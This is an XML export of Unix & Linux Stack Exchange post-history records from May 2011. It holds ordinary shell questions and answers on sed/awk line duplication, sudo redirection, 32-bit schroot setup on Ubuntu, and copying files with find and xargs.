  <row Id="31903" PostHistoryTypeId="2" PostId="12951" RevisionGUID="f801c574-871a-4b02-a2e1-e2d735a8b349" CreationDate="2011-05-10T17:13:29.977" UserDisplayName="kopelkan" Text="This is in `file.txt`:&#xD;&#xA;&#xD;&#xA;    redcar&#xD;&#xA;    bluecar&#xD;&#xA;    greencar&#xD;&#xA;&#xD;&#xA;Im looking for ways to make it become:&#xD;&#xA;&#xD;&#xA;    redcar redcar&#xD;&#xA;    bluecar bluecar&#xD;&#xA;    greencar greencar&#xD;&#xA;&#xD;&#xA;I've tried many ways using `sed` with no luck" />
  <row Id="31904" PostHistoryTypeId="1" PostId="12951" RevisionGUID="f801c574-871a-4b02-a2e1-e2d735a8b349" CreationDate="2011-05-10T17:13:29.977" UserDisplayName="kopelkan" Text="How to append end of every line with the line itself" />
  <row Id="31905" PostHistoryTypeId="3" PostId="12951" RevisionGUID="f801c574-871a-4b02-a2e1-e2d735a8b349" CreationDate="2011-05-10T17:13:29.977" UserDisplayName="kopelkan" Text="ésedàéawkà" />
  <row Id="31906" PostHistoryTypeId="17" PostId="12951" RevisionGUID="4bda08fe-86a7-4aa5-9126-1b68a6ff9d71" CreationDate="2011-05-10T17:37:50.237" UserId="-1" Comment="from http://stackoverflow.com/questions/5953796/how-to-append-end-of-every-line-with-the-line-itself" Text="" />
  <row Id="31907" PostHistoryTypeId="2" PostId="12954" RevisionGUID="3af399a1-168b-4bb1-b689-cca51ba181a4" CreationDate="2011-05-10T17:48:25.717" UserId="7367" Text="Someone already mentions the book &quot;Linux Device Drivers&quot; - this is an excellent resource, and I highly recommend it as well.&#xD;&#xA;&#xD;&#xA;Although the question mentions the originator isn't asking specifically for books, the newest edition of the book &quot;Understanding the Linux Kernel&quot; ( http://oreilly.com/catalog/9780596005658/ ) is invaluable in learning about the Linux kernel in general, and also contains a section on Linux device drivers." />
  <row Id="31908" PostHistoryTypeId="2" PostId="12955" RevisionGUID="1e40c89c-d510-4827-a3f1-2ffc7caf35d9" CreationDate="2011-05-10T17:52:23.413" UserId="7351" Text="sudo does not pass through the &gt; operator because it never sees it. The shell interprets the &gt; character and sudo only sees echo 4096. This means that the shell as your user id tries to open /proc/sys/fs/file-max and thus fails.&#xD;&#xA;&#xD;&#xA;Work arounds:&#xD;&#xA;&#xD;&#xA;    % echo 4096 | sudo dd of=/proc/sys/fs/file-max&#xD;&#xA;    % sudoedit /proc/sys/fs/file-max" />
  <row Id="31909" PostHistoryTypeId="2" PostId="12956" RevisionGUID="aa1610e6-20c2-4891-8ac0-df5d08ca8bdd" CreationDate="2011-05-10T18:00:15.533" UserId="885" Text="I have a 64-bit (amd64 a.k.a. x86_64) Debian or Ubuntu installation. I need to run 32-bit (i386/i686) programs occasionally, or to compile programs for a 32-bit system. How can I do this with a minimum of fuss?&#xD;&#xA;&#xD;&#xA;Bonus: what if I want to run or test with an older or newer release of the distribution?&#xD;&#xA;" />
  <row Id="31910" PostHistoryTypeId="1" PostId="12956" RevisionGUID="aa1610e6-20c2-4891-8ac0-df5d08ca8bdd" CreationDate="2011-05-10T18:00:15.533" UserId="885" Text="How do I run 32-bit programs on a 64-bit Ubuntu?" />
  <row Id="31911" PostHistoryTypeId="3" PostId="12956" RevisionGUID="aa1610e6-20c2-4891-8ac0-df5d08ca8bdd" CreationDate="2011-05-10T18:00:15.533" UserId="885" Text="éubuntuàédebianàévirtualömachineàé64bitàé32bità" />
  <row Id="31912" PostHistoryTypeId="2" PostId="12957" RevisionGUID="e51a3490-ce22-4f04-94d4-553c3949f803" CreationDate="2011-05-10T18:00:32.680" UserId="885" Text="## Shipped 32-bit libraries&#xD;&#xA;&#xD;&#xA;Debian and Ubuntu ship with a number of 32-bit libraries on amd64. Install the [`ia32-libs`](http://packages.ubuntu.com/ia32-libs) [![Install ia32-libs](http://bit.ly/software-small)](http://apt.ubuntu.com/p/ia32-libs) package to have a basic set of 32-bit libraries, and possibly other packages that depend on this one. Your 32-bit executables should simply run if you have all the required libraries.&#xD;&#xA;&#xD;&#xA;For development, install [`gcc-multilib`](http://packages.ubuntu.com/gcc-multilib) [![Install gcc-multilib](http://bit.ly/software-small)](http://apt.ubuntu.com/p/gcc-multilib), and again possibly other packages that depend on it such as `g++-multilib`. You may find [`binutils-multiarch`](http://packages.ubuntu.com/binutils-multiarch) [![Install binutils-multiarch](http://bit.ly/software-small)](http://apt.ubuntu.com/p/binutils-multiarch) useful as well, and [`ia32-libs-dev`](http://packages.debian.org/ia32-libs-dev) on Debian. Pass the `-m32` option to gcc to compile for ix86.&#xD;&#xA;&#xD;&#xA;Note that `uname -m` will still show `x64_64` if you're running a 64-bit kernel, regardless of what 32-bit user mode components you have installed. Schroot described below takes care of this.&#xD;&#xA;&#xD;&#xA;## Schroot&#xD;&#xA;&#xD;&#xA;The idea is to install an alternate distribution in a subtree and run from that. You can install a 32-bit system on a 64-bit system that way, or a different release of your distribution, or a testing environment with different sets of packages installed.&#xD;&#xA;&#xD;&#xA;The [`chroot`](http://en.wikipedia.org/wiki/Chroot) command and system call starts a process with a view of the filesystem that's restricted to a subtree of the directory tree. Debian and Ubuntu ship [schroot](http://www.debian-administration.org/articles/566), a utility that wraps around this feature to create a more usable sub-environment.&#xD;&#xA;&#xD;&#xA;Install the [`schroot` package](http://packages.ubuntu.com/schroot) [![Install schroot](http://bit.ly/software-small)](http://apt.ubuntu.com/p/schroot) ([Debian](http://packages.debian.org/schroot)) and the [`debootstrap` package](http://packages.ubuntu.com/debootstrap) [![Install debootstrap](http://bit.ly/software-small)](http://apt.ubuntu.com/p/debootstrap) ([Debian](http://packages.debian.org/debootstrap)). Debootstrap is only needed for the installation of the alternate distribution and can be removed afterwards.&#xD;&#xA;&#xD;&#xA;This example describes how to set up a 32-bit Ubuntu 10.04LTS (lucid lynx) alternate environment. A similar setup should work with other releases of Debian and Ubuntu. Create a file `/etc/schroot/chroot.d/lucid32` with the following contents:&#xD;&#xA;&#xD;&#xA;    [lucid32]&#xD;&#xA;    description=Ubuntu 10.04LTS 32-bit&#xD;&#xA;    directory=/32&#xD;&#xA;    type=directory&#xD;&#xA;    personality=linux32&#xD;&#xA;    groups=users,admin&#xD;&#xA;&#xD;&#xA;The line `directory=/32` tells schroot where we'll put the files of the 32-bit installation. The line `groups=users,admin` says that users in either group will be allowed to use the schroot; you can also put a `users=…` directive.&#xD;&#xA;&#xD;&#xA;Create the directory and start populating it with debootstrap. Debootstrap downloads and installs a core set of packages for the specified distribution and architecture.&#xD;&#xA;&#xD;&#xA;    mkdir /32&#xD;&#xA;    debootstrap --arch i386 lucid /32 http://archive.ubuntu.com/ubuntu&#xD;&#xA;&#xD;&#xA;You almost have a working system already; what follows is minor enhancements. Schroot automatically overwrites several files in `/32/etc` when you run it, in particular the DNS configuration in `/etc/resolv.conf` and the user database in `/etc/passwd` and other files (this can be overridden, see the documentation). There are a few more files you may want to copy manually once and for all:&#xD;&#xA;&#xD;&#xA;    cp -p /etc/apt/apt.conf /32/etc/apt/      # for universe, security, etc&#xD;&#xA;    cp -p /etc/apt/sources.list /32/etc/apt/  # for proxy settings&#xD;&#xA;    cp -p /etc/environment /32/etc/           # for proxy and locale settings&#xD;&#xA;    cp -p /etc/sudoers /32/etc/               # for %admin on Ubuntu&#xD;&#xA;&#xD;&#xA;There won't be a file `/etc/mtab` or `/etc/fstab` in the chroot. I don't recommend using the `mount` command manually in the chroot, do it from outside. But do create a good-enough `/etc/mtab` to make commands such as `df` work reasonably.&#xD;&#xA;&#xD;&#xA;    ln -s /proc/mounts /32/etc/mtab&#xD;&#xA;&#xD;&#xA;With the `directory` type, schroot will perform [bind mounts](http://wiki.openvz.org/Bind_mounts) of a number of directories, i.e. those directories will be shared with the parent installation: `/proc`, `/dev`, `/home`, `/tmp`.&#xD;&#xA;&#xD;&#xA;Now we can start using the chroot.&#xD;&#xA;&#xD;&#xA;    schroot -c /32&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    apt-get install lsb-core nano&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You may need to generate a few locales, e.g. `locale-gen en_US; locale-gen en_US.utf8`.&#xD;&#xA;&#xD;&#xA;If the schroot is for an older release of Ubuntu such as 8.04 (hardy), note that the package ubuntu-standard pulls in an MTA. Select `nullmailer` instead of the default `postfix` (you may want your chroot to send mail but you definitely don't want it to receive any).&#xD;&#xA;&#xD;&#xA;As described here, a schroot is not suitable for running daemons. Programs in the schroot will be killed when you exit the schroot. Use a “plain” schroot instead of a “directory” schroot if you want it to be more permanent, and set up permanent bind mounts in `/etc/fstab` on the parent installation.&#xD;&#xA;&#xD;&#xA;For more information, see the [`schroot` manual](http://manpages.ubuntu.com/manpages/lucid/man1/schroot.1.html), the [schroot FAQ](http://manpages.ubuntu.com/manpages/natty/en/man7/schroot-faq.7.html) and the&#xD;&#xA;[`schroot.conf` manual](http://manpages.ubuntu.com/manpages/lucid/man5/schroot.conf.5.html). Schroot is part of the [Debian autobuilder (buildd) project](http://alioth.debian.org/projects/buildd-tools).&#xD;&#xA;## Virtual machine&#xD;&#xA;&#xD;&#xA;If you need complete isolation of the alternate environment, use a virtual machine such as [KVM](http://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine) ([qemu-kvm](http://packages.ubuntu.com/qemu-kvm) [![Install qemu-kvm](http://bit.ly/software-small)](http://apt.ubuntu.com/p/qemu-kvm)) or [VirtualBox](http://www.virtualbox.org/).&#xD;&#xA;" />
  <row Id="31913" PostHistoryTypeId="2" PostId="12958" RevisionGUID="f89cf752-440c-4949-8873-8ab2fdb1e8a7" CreationDate="2011-05-10T18:04:28.390" UserId="7351" Text="Use the ESMTPS id from mx.google.com to identify duplicates. These should be unmodified. In the example above:&#xD;&#xA;by mx.google.com with ESMTPS id e20sm18902485fga.1.2008.01.04.07.58.46&#xD;&#xA;&#xD;&#xA;A very simple implementation would put all mails in one dir, extract the id and symlink the file to the id without using -f. Like:&#xD;&#xA;&#xD;&#xA;    for FILE in *; do&#xD;&#xA;         smtpid=$(do_extract_smtp_id_here)&#xD;&#xA;         if test -f ${smptid}; then&#xD;&#xA;             echo &quot;DUPE: ${FILE}&quot;&#xD;&#xA;         else&#xD;&#xA;             ln -s ${FILE} ${smtpid}&#xD;&#xA;         fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31914" PostHistoryTypeId="2" PostId="12959" RevisionGUID="48375dc7-e4e8-4403-83ca-414df2753f81" CreationDate="2011-05-10T18:07:09.593" UserId="1925" Text="If the problem is the log files, make sure they are owned by root and don't have world read permissions. `chmod o-r logfile`&#xD;&#xA;&#xD;&#xA;If the problem is the executable, make sure it doesn't have world execute permissions. `chmod o-x program`" />
  <row Id="31915" PostHistoryTypeId="25" PostId="12951" RevisionGUID="25faa49b-ca28-4ab9-931a-6581d49c9c5b" CreationDate="2011-05-10T18:11:40.197" Comment="http://twitter.com/#!/StackUnix/status/68015359667613696" />
  <row Id="31916" PostHistoryTypeId="2" PostId="12960" RevisionGUID="52bde513-5395-4c81-a8a1-cdd62fa3441a" CreationDate="2011-05-10T18:39:25.873" UserId="1987" Text="There Is More Than One Way To Do It:&#xD;&#xA;&#xD;&#xA;Substitute two times the full sentence:&#xD;&#xA;&#xD;&#xA;    sed 's/.*/&amp; &amp;/'&#xD;&#xA;&#xD;&#xA;Copy to hold space, append hold space to pattern space, fix newline:&#xD;&#xA;&#xD;&#xA;    sed 'h;G;s/\n/ /'&#xD;&#xA;&#xD;&#xA;awk, concatenate whole sentence using field separator:&#xD;&#xA;&#xD;&#xA;    awk '$0=$0FS$0'" />
  <row Id="31917" PostHistoryTypeId="2" PostId="12961" RevisionGUID="10b459d1-b612-4db8-a55b-b85c87f5cd1f" CreationDate="2011-05-10T18:39:31.100" UserId="3389" Text="On my PowerEdge 2500, when I first got it, the PERC (hardware RAID) controller's firmware was not at the latest revision.  The effect of this is that the root disk would just suddenly disappear and would no longer be accessible (very similar to if it was a removable drive and it was just suddenly disconnected).&#xD;&#xA;&#xD;&#xA;I couldn't load any new programs, programs that were loaded kept running, but with errors if they attempted to write to the disk.  Still had the `bash` prompt I had logged into, network continued to function.  Was surprisingly not as catastrophic as I would have expected.&#xD;&#xA;&#xD;&#xA;I think this is a &quot;clean&quot; failure though, because whatever driver was responsible for reading/writing to the PERC seemed to be rejecting everything immediately with an error (forget the exact one but it was a SCSI sense error).  It would be much worse if the drive wasn't responding, responding slowly, or writes appeared to be working OK but really weren't." />
  <row Id="31918" PostHistoryTypeId="2" PostId="12962" RevisionGUID="ce53b9b8-3b27-4c6f-afb2-ac2babfbd018" CreationDate="2011-05-10T18:39:38.027" UserId="2671" Text="Checkout `tput`. It is a wrapper around ANSI Escape sequences that are supported (the amount of support differs a lot) by almost all terminal emulators. &#xD;&#xA;&#xD;&#xA;`tput` will only output the sequence if it is supported by the terminal, therefore you don't have to worry about the support. Or at least you don't have to worry about strange characters being printed in the terminal :-)" />
  <row Id="31919" PostHistoryTypeId="2" PostId="12963" RevisionGUID="52b3f2bc-cd29-4479-b727-bf9a15cac741" CreationDate="2011-05-10T18:54:07.137" UserId="732" Text="There is no such system call, or set of system calls. It's all done by convention.&#xD;&#xA;&#xD;&#xA;Back in the old days, when a &quot;terminal&quot; was a large clunky piece of equiment linked to a computer via a cable, &quot;smart terminals&quot; would do things like move the cursor, or draw a line, or fill in a polygon with colors.  The smart terminal usually did this via &quot;escape sequenes&quot;.  A program issued a special sequence of byte values, usually beginning with ASCII 0x1b, 'ESC', to move a cursor, or color a word, or some special thing other than imitating a teletypewriter.&#xD;&#xA;&#xD;&#xA;That's the &quot;convention&quot;. Nowadays, a &quot;terminal&quot; is almost always just one window among many on a bitmapped screen, xterm, rxvt, etc etc.  It's up to xterm (or rxvt or whatever) to read the bytes coming from &quot;the program&quot; running in it, and interpret those bytes according to a given convention.  I just typed this in one of my xterm windows:&#xD;&#xA;&#xD;&#xA;    6 % echo $TERM &#xD;&#xA;    xterm&#xD;&#xA;&#xD;&#xA;But I know that old, old xterms used to say &quot;vt100&quot; in that case.  Any program that &quot;moves the cursor&quot; has to output escape sequences for the &quot;xterm&quot; convention to move the cursor in an xterm instance.&#xD;&#xA;&#xD;&#xA;You could do `man curses` and `man terminfo` for more information." />
  <row Id="31920" PostHistoryTypeId="2" PostId="12964" RevisionGUID="52dd2a08-b197-40f0-9c2b-6cc145f5d7b3" CreationDate="2011-05-10T19:00:23.547" UserId="732" Text="I think you want to try [netstat-nat][1]  I seem to remember using it when I had a Slackware box set up as a NAT-server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tweegy.nl/projects/netstat-nat/" />
  <row Id="31921" PostHistoryTypeId="2" PostId="12965" RevisionGUID="15fc006b-5454-4390-bc41-9a27f77aa463" CreationDate="2011-05-10T19:01:19.820" UserId="653" Text="Hello, when I change the loudness with pulseaudio, pulseaudio acts on several of the values I can see when I use `alsamixer -c0`&#xD;&#xA;&#xD;&#xA;I have a problem: when the PCM loudness exceeds a certain value (80%), the sound crackles (or soaks? I don't know if this is the word).&#xD;&#xA;&#xD;&#xA;I'd like to make sure the PCM value is fixed to 80%, so that pulseaudio only changes the value of the &quot;Front&quot; channel.&#xD;&#xA;&#xD;&#xA;How can I achieve that?" />
  <row Id="31922" PostHistoryTypeId="1" PostId="12965" RevisionGUID="15fc006b-5454-4390-bc41-9a27f77aa463" CreationDate="2011-05-10T19:01:19.820" UserId="653" Text="How can I set a top limit for the PCM value when changing the loudness with pulseaudio?" />
  <row Id="31923" PostHistoryTypeId="3" PostId="12965" RevisionGUID="15fc006b-5454-4390-bc41-9a27f77aa463" CreationDate="2011-05-10T19:01:19.820" UserId="653" Text="éalsaàésoundöserverà" />
  <row Id="31924" PostHistoryTypeId="5" PostId="12942" RevisionGUID="5829667b-513e-422a-81b1-2f4e2d7e0c91" CreationDate="2011-05-10T19:01:22.003" UserId="5921" Comment="added 290 characters in body" Text="I've got two files _jeter3.txt and _jeter1.txt&#xD;&#xA;&#xD;&#xA;I've checked they are both sorted on the 20th column using `sort -c`&#xD;&#xA;&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter3.txt&#xD;&#xA;    sort -t '     ' -c -k20,20 _jeter1.txt&#xD;&#xA;    #no errors&#xD;&#xA;&#xD;&#xA;but there is an error when I want to `join` both files it says that the second file is not sorted:&#xD;&#xA;&#xD;&#xA;    join -t '	' -1 20 -2 20 _jeter1.txt _jeter3.txt &gt; /dev/null&#xD;&#xA;    join: File 2 is not in sorted order&#xD;&#xA;&#xD;&#xA;I don't understand why.&#xD;&#xA;&#xD;&#xA;    cat /etc/*-release #FYI&#xD;&#xA;    openSUSE 11.0 (i586)&#xD;&#xA;    VERSION = 11.0&#xD;&#xA;&#xD;&#xA;**UPDATE**:  using '`sort -f`'  and `join -i` (both case insensitive) fixes the problem. But it doesn't explain my initial problem.&#xD;&#xA;&#xD;&#xA;**UPDATE**: versions of sort &amp; join:&#xD;&#xA;&#xD;&#xA;    &gt; join --version&#xD;&#xA;    join (GNU coreutils) 6.11&#xD;&#xA;    Copyright (C) 2008 Free Software Foundation, Inc.&#xD;&#xA;    (...)&#xD;&#xA;    &#xD;&#xA;    &gt; sort --version&#xD;&#xA;    sort (GNU coreutils) 6.11&#xD;&#xA;    Copyright (C) 2008 Free Software Foundation, Inc.&#xD;&#xA;    (...)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31925" PostHistoryTypeId="2" PostId="12966" RevisionGUID="cfa3f56f-98f7-496f-9746-8950c537f225" CreationDate="2011-05-10T19:03:35.743" UserId="5307" Text="    $ find myDir -name *.html -print | xargs -0 cp ~/otherDir&#xD;&#xA;    usage: cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file target_file&#xD;&#xA;           cp [-R [-H | -L | -P]] [-fi | -n] [-apvX] source_file ... target_directory&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31926" PostHistoryTypeId="1" PostId="12966" RevisionGUID="cfa3f56f-98f7-496f-9746-8950c537f225" CreationDate="2011-05-10T19:03:35.743" UserId="5307" Text="How to copy all html files from a directory to another?" />
  <row Id="31927" PostHistoryTypeId="3" PostId="12966" RevisionGUID="cfa3f56f-98f7-496f-9746-8950c537f225" CreationDate="2011-05-10T19:03:35.743" UserId="5307" Text="éfindàépipeàécpàéxargsà" />
  <row Id="31929" PostHistoryTypeId="5" PostId="12963" RevisionGUID="06f2e4ec-e8f6-495c-a9d9-749e085412a1" CreationDate="2011-05-10T19:14:32.063" UserId="732" Comment="added 142 characters in body" Text="There is no such system call, or set of system calls. It's all done by convention.&#xD;&#xA;&#xD;&#xA;Back in the old days, when a &quot;terminal&quot; was a large clunky piece of equiment linked to a computer via a cable, &quot;smart terminals&quot; would do things like move the cursor, or draw a line, or fill in a polygon with colors.  The smart terminal usually did this via &quot;escape sequenes&quot;.  A program issued a special sequence of byte values, usually beginning with ASCII 0x1b, 'ESC', to move a cursor, or color a word, or some special thing other than imitating a teletypewriter.&#xD;&#xA;&#xD;&#xA;That's the &quot;convention&quot;. Nowadays, a &quot;terminal&quot; is almost always just one window among many on a bitmapped screen, xterm, rxvt, etc etc.  It's up to xterm (or rxvt or whatever) to read the bytes coming from &quot;the program&quot; running in it, and interpret those bytes according to a given convention.  I just typed this in one of my xterm windows:&#xD;&#xA;&#xD;&#xA;    6 % echo $TERM &#xD;&#xA;    xterm&#xD;&#xA;&#xD;&#xA;But I know that old, old xterms used to say &quot;vt100&quot; in that case.  Any program that &quot;moves the cursor&quot; has to output escape sequences for the &quot;xterm&quot; convention to move the cursor in an xterm instance.&#xD;&#xA;&#xD;&#xA;You could do `man curses` and `man terminfo` for more information.&#xD;&#xA;&#xD;&#xA;PS&#xD;&#xA;&#xD;&#xA;People have done whole windowing systems with escape sequences.  See [MGR][1] as an example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hack.org/mc/mgr/" />
  <row Id="31930" PostHistoryTypeId="2" PostId="12968" RevisionGUID="b076cc29-d8fe-4d10-9c8d-757e794dc479" CreationDate="2011-05-10T19:19:12.313" UserId="7255" Text="First of all, the shell is globbing the '*' for you. Either escape it with `\` or use quote around `*.html`&#xD;&#xA;&#xD;&#xA;Like so:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot;` or `find myDir -name \*.html`&#xD;&#xA;&#xD;&#xA;Secondly, if you want to do it that way, you'll need to use the `--target-directory` option of `cp`:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot; -print | xargs -0 cp --target-directory=~/otherDir`&#xD;&#xA;&#xD;&#xA;Skip the use of `xargs` with `find`'s `-exec` switch:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot; -exec cp --target-directory=~/otherDir {} \;`" />
  <row Id="31931" PostHistoryTypeId="2" PostId="12969" RevisionGUID="8c0b3058-c6f6-4964-9d24-a83b93e95c8e" CreationDate="2011-05-10T19:19:49.490" UserId="591" Text="Try &#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' -exec cp -t ~/otherdir {} +" />
  <row Id="31932" PostHistoryTypeId="5" PostId="12968" RevisionGUID="c3de1031-dc3a-4603-9930-5f317b514fba" CreationDate="2011-05-10T19:24:25.510" UserId="7255" Comment="added 12 characters in body" Text="First of all, the shell is globbing the '*' for you. Either escape it with `\` or use quotes around `*.html`&#xD;&#xA;&#xD;&#xA;Like so:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot;` or `find myDir -name \*.html`&#xD;&#xA;&#xD;&#xA;Secondly, if you want to do it that way, you'll need to use the `--target-directory` (aka `-t`) option of `cp`:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot; -print | xargs -0 cp --target-directory=~/otherDir`&#xD;&#xA;&#xD;&#xA;Skip the use of `xargs` with `find`'s `-exec` switch:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot; -exec cp --target-directory=~/otherDir {} \;`" />
  <row Id="31933" PostHistoryTypeId="5" PostId="12969" RevisionGUID="22ad7cbc-49d2-4fac-9bcb-d37c9829d889" CreationDate="2011-05-10T19:26:22.843" UserId="591" Comment="added 399 characters in body" Text="Try &#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' -exec cp -t ~/otherdir {} +&#xD;&#xA;&#xD;&#xA;One problem with this approach is that it doesn't create any subdirectories so all files get put in `~/otherDir`  and files that are named the same but in different parts of the `myDir` tree don't get copied.&#xD;&#xA;&#xD;&#xA;If this would cause you a problem then you can use the following to create the same directory tree within the `~/otherDir` tree&#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' | cpio -pdm ~/otherdir" />
  <row Id="31934" PostHistoryTypeId="5" PostId="12965" RevisionGUID="65e85d53-eb85-4b7d-9618-4297b47f1783" CreationDate="2011-05-10T19:26:36.523" UserId="653" Comment="added 33 characters in body" Text="Hello, when I change the loudness with pulseaudio, pulseaudio acts on several of the values I can see when I use `alsamixer -c0`&#xD;&#xA;&#xD;&#xA;I have a problem: when the PCM loudness exceeds a certain value (80%), the sound crackles (or soaks? I don't know if this is the word).&#xD;&#xA;&#xD;&#xA;I'd like to make sure the PCM value is fixed to 80%, so that pulseaudio only changes the value of the &quot;Front&quot; channel.&#xD;&#xA;&#xD;&#xA;How can I achieve that?&#xD;&#xA;&#xD;&#xA;My configuration: Fedora, KDE" />
  <row Id="31935" PostHistoryTypeId="5" PostId="12788" RevisionGUID="5efda078-8ab9-4f26-ad19-a9acd1cfc94a" CreationDate="2011-05-10T19:50:21.837" UserId="1131" Comment="reply about std::iostream" Text="Man pages for the standard C library are included in the `man-pages` package. For the C++ STL library the man-pages and HTML documentation are included in the `libstdc++-docs` packages. Thus,&#xD;&#xA;&#xD;&#xA;    yum install man-pages libstdc++-docs&#xD;&#xA;&#xD;&#xA;should install them. You can test if they are available via:&#xD;&#xA;&#xD;&#xA;    man std::iostream&#xD;&#xA;    man fopen&#xD;&#xA;&#xD;&#xA;Kind of off-topic: IMHO the libstdc++ documentation (especially the man pages) is not that convenient to browse - I usually use a google search like 'c++ reference iostream' and usually the first hit points to http://www.cplusplus.com/reference/ which is convenient to navigate (at least with AdBlock Plus).&#xD;&#xA;&#xD;&#xA;**Edit:** Tested `man std::iostream` on a FC 14 box with `libstdc++-docs` installed, and surprisingly, it could not find it.&#xD;&#xA;&#xD;&#xA;Using `yum povides '*/std::iostream*'` prints that the `libstdc++-docs` package *provides* the corresponding man-page file, but it installs it to an unusual location:&#xD;&#xA;&#xD;&#xA;    /usr/share/man/man3/man3/std::iostream.3.gz&#xD;&#xA;&#xD;&#xA;Thus, calling `man` like&#xD;&#xA;&#xD;&#xA;    man -M /usr/share/man/man3 std::iostream&#xD;&#xA;&#xD;&#xA;shows the man-page.&#xD;&#xA;&#xD;&#xA;Looks like a bug in the FC 14 `libstdc++-docs` package to me.&#xD;&#xA;" />
  <row Id="31936" PostHistoryTypeId="2" PostId="12970" RevisionGUID="e4824c1b-1283-498a-9765-63de9a5e8b51" CreationDate="2011-05-10T20:08:49.017" UserId="7351" Text="`find myDir -name '*.html' -print0 | xargs -0 -J % cp % ~/otherdir`" />
  <row Id="31937" PostHistoryTypeId="5" PostId="12969" RevisionGUID="f91de815-9b1e-4856-8860-8354b53b461d" CreationDate="2011-05-10T20:14:14.523" UserId="591" Comment="Added an xargs variant" Text="Try &#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' -exec cp -t ~/otherdir {} +&#xD;&#xA;&#xD;&#xA;One problem with this approach is that it doesn't create any subdirectories so all files get put in `~/otherDir`  and files that are named the same but in different parts of the `myDir` tree don't get copied.&#xD;&#xA;&#xD;&#xA;If this would cause you a problem then you can use the following to create the same directory tree within the `~/otherDir` tree&#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' | cpio -pdm ~/otherdir&#xD;&#xA;&#xD;&#xA;I don't have a mac&#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' -print | xargs -I {} cp  {} ~/otherDir&#xD;&#xA;&#xD;&#xA;or if you can &#xD;&#xA;&#xD;&#xA;    find myDir -name '*.html' -print0 | xargs -0 -I {} cp  {} ~/otherDir&#xD;&#xA;&#xD;&#xA;as this will be safe for files with spaces in the name." />
  <row Id="31938" PostHistoryTypeId="5" PostId="12968" RevisionGUID="c025ddbe-07ec-43d1-bf60-aa2885dbfc76" CreationDate="2011-05-10T20:26:58.790" UserId="7255" Comment="Changed to work with OSX; the -t is actually extraneous on any platform" Text="First of all, the shell is globbing the '*' for you. Either escape it with `\` or use quotes around `*.html`&#xD;&#xA;&#xD;&#xA;Like so:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot;` or `find myDir -name \*.html`&#xD;&#xA;&#xD;&#xA;Skip the use of `xargs` with `find`'s `-exec` switch:&#xD;&#xA;&#xD;&#xA;`find myDir -name &quot;*.html&quot; -exec cp {} ~/otherDir \;`&#xD;&#xA;&#xD;&#xA;This works because `{}` takes the place of the file that `find` found, and is executed once for each match.&#xD;&#xA;&#xD;&#xA;Also note that this will flatten the copy of the source directory. Example:&#xD;&#xA;&#xD;&#xA;    myDir/a.html&#xD;&#xA;    myDir/b/c.html&#xD;&#xA;&#xD;&#xA;will yield&#xD;&#xA;&#xD;&#xA;    otherdir/a.html&#xD;&#xA;    otherdir/c.html" />
  <row Id="31939" PostHistoryTypeId="2" PostId="12971" RevisionGUID="ae5677d0-d406-49bb-8bad-644e0d93f802" CreationDate="2011-05-10T20:32:59.397" UserId="1375" Text="One thing I miss about Finder, Mac OS X's file manager, is the spring-loaded folder function where if you drag a file(s) over another folder long enough, the folder would open and you can &quot;navigate&quot; through folders while holding down the mouse button until you reach where you want to drop the file.&#xD;&#xA;&#xD;&#xA;Does such a feature exist in Linux file managers? Is so, which ones? Thanks." />
  <row Id="31940" PostHistoryTypeId="1" PostId="12971" RevisionGUID="ae5677d0-d406-49bb-8bad-644e0d93f802" CreationDate="2011-05-10T20:32:59.397" UserId="1375" Text="File manager with spring-loaded folders?" />
  <row Id="31941" PostHistoryTypeId="3" PostId="12971" RevisionGUID="ae5677d0-d406-49bb-8bad-644e0d93f802" CreationDate="2011-05-10T20:32:59.397" UserId="1375" Text="éfileàédirectoryàédirectoryöstructureàéfileömanageràéspringöloadedöfolderà" />
  <row Id="31942" PostHistoryTypeId="6" PostId="12966" RevisionGUID="52fbc9f3-c942-4dfe-974e-37bee0809d8d" CreationDate="2011-05-10T20:33:10.980" UserId="591" Comment="added macosx tag" Text="éosxàéfindàépipeàécpàéxargsà" />
  <row Id="31943" PostHistoryTypeId="24" PostId="12966" RevisionGUID="52fbc9f3-c942-4dfe-974e-37bee0809d8d" CreationDate="2011-05-10T20:33:10.980" Comment="Proposed by 591 approved by 73 edit id of 363" />
  <row Id="31944" PostHistoryTypeId="5" PostId="12949" RevisionGUID="aba88a03-8be1-40dd-9ab9-bf74eea43fe3" CreationDate="2011-05-10T21:01:59.730" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [sudo permission denied but su grants permission](http://unix.stackexchange.com/questions/6713/sudo-permission-denied-but-su-grants-permission)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am trying to echo a new value into a file using following command  &#xD;&#xA;&#xD;&#xA;      sudo echo 4096 &gt; /proc/sys/fs/file-max&#xD;&#xA;&#xD;&#xA;The error coming is permission denied.But when I do the same thing as a root user I am successful.Can I know the reason why it happens or we can say that sudo doesnt pass through the &quot;&gt;&quot; operator" />
